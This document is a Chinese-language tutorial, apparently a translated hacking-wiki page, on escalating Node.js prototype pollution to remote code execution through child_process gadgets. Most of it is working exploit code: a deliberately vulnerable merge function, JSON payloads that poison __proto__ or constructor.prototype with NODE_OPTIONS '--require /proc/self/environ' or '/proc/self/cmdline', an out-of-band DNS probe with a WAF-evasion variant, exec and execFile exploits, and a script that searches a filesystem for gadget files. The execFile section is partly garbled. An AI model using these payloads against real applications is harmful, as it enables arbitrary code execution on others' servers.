易受攻击的代码

想象一下一个真实的 JS 使用以下代码：

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE 通过环境变量

PP2RCE 意味着 原型污染到 RCE（远程代码执行）。

根据这个写作，当一个 进程被生成 使用 child_process 的某些方法（如 fork 或 spawn 或其他）时，它调用方法 normalizeSpawnArguments，这是一个 原型污染工具，用于创建新的环境变量：

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

检查代码，你可以看到通过污染属性**.env可以毒害 envPairs**。

毒害 `proto`

请注意，由于node的**child_process库中的normalizeSpawnArguments函数的工作方式，当调用某个函数以设置新的环境变量时，你只需要污染任何东西**。例如，如果你执行__proto__.avar="valuevar"，进程将以名为avar且值为valuevar的变量启动。

然而，为了使环境变量成为第一个，你需要污染****.env属性，并且（仅在某些方法中）该变量将是第一个（允许攻击）。

这就是为什么在以下攻击中**NODE_OPTIONS不在.env**中的原因。

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

污染 `constructor.prototype`

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

与之前的有效载荷类似，提出了一种有一些变化的有效载荷，详见这篇文章. 主要区别在于：

它不是将nodejs 有效载荷 存储在文件 /proc/self/environ 中，而是存储在 /proc/self/cmdline 的 argv0 中。
然后，它不是通过 NODE_OPTIONS 要求文件 /proc/self/environ，而是要求 /proc/self/cmdline。

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS 交互

使用以下有效载荷，可以滥用我们之前讨论过的 NODE_OPTIONS 环境变量，并通过 DNS 交互检测其是否有效：

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

或者，为了避免 WAF 询问域名：

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE 漏洞 child_process 函数

在本节中，我们将分析 child_process 中的每个函数 以执行代码，并查看我们是否可以使用任何技术强制该函数执行代码：

exec 利用

// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');

execFile 利用

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

为了使 **`execFile`** 工作，它 **必须执行 node** 以使 NODE\_OPTIONS 生效。\
如果它 **不** 在执行 **node**，你需要找到如何通过 **环境变量** 来 **改变执行** 的内容并设置它们。

**其他** 技术 **在** 没有这个要求的情况下 **工作**，因为可以通过原型污染 **修改** **被执行的内容**。 （在这种情况下，即使你可以污染 `.shell`，你也不会污染正在被执行的内容）。

强制生成

在之前的示例中，您看到如何触发小工具，功能需要调用 spawn的功能存在（所有用于执行某些操作的**child_process方法都会调用它）。在之前的示例中，这是代码的一部分**，但如果代码没有调用它呢？

控制 require 文件路径

在这个 其他写作 中，用户可以控制将执行的 require 的文件路径。在这种情况下，攻击者只需找到系统中的一个 .js 文件，该文件在导入时将执行一个 spawn 方法。 一些常见的在导入时调用 spawn 函数的文件示例包括：

/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
在下面找到更多文件

以下简单脚本将搜索来自 child_process的调用 没有任何填充（以避免显示函数内部的调用）：

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
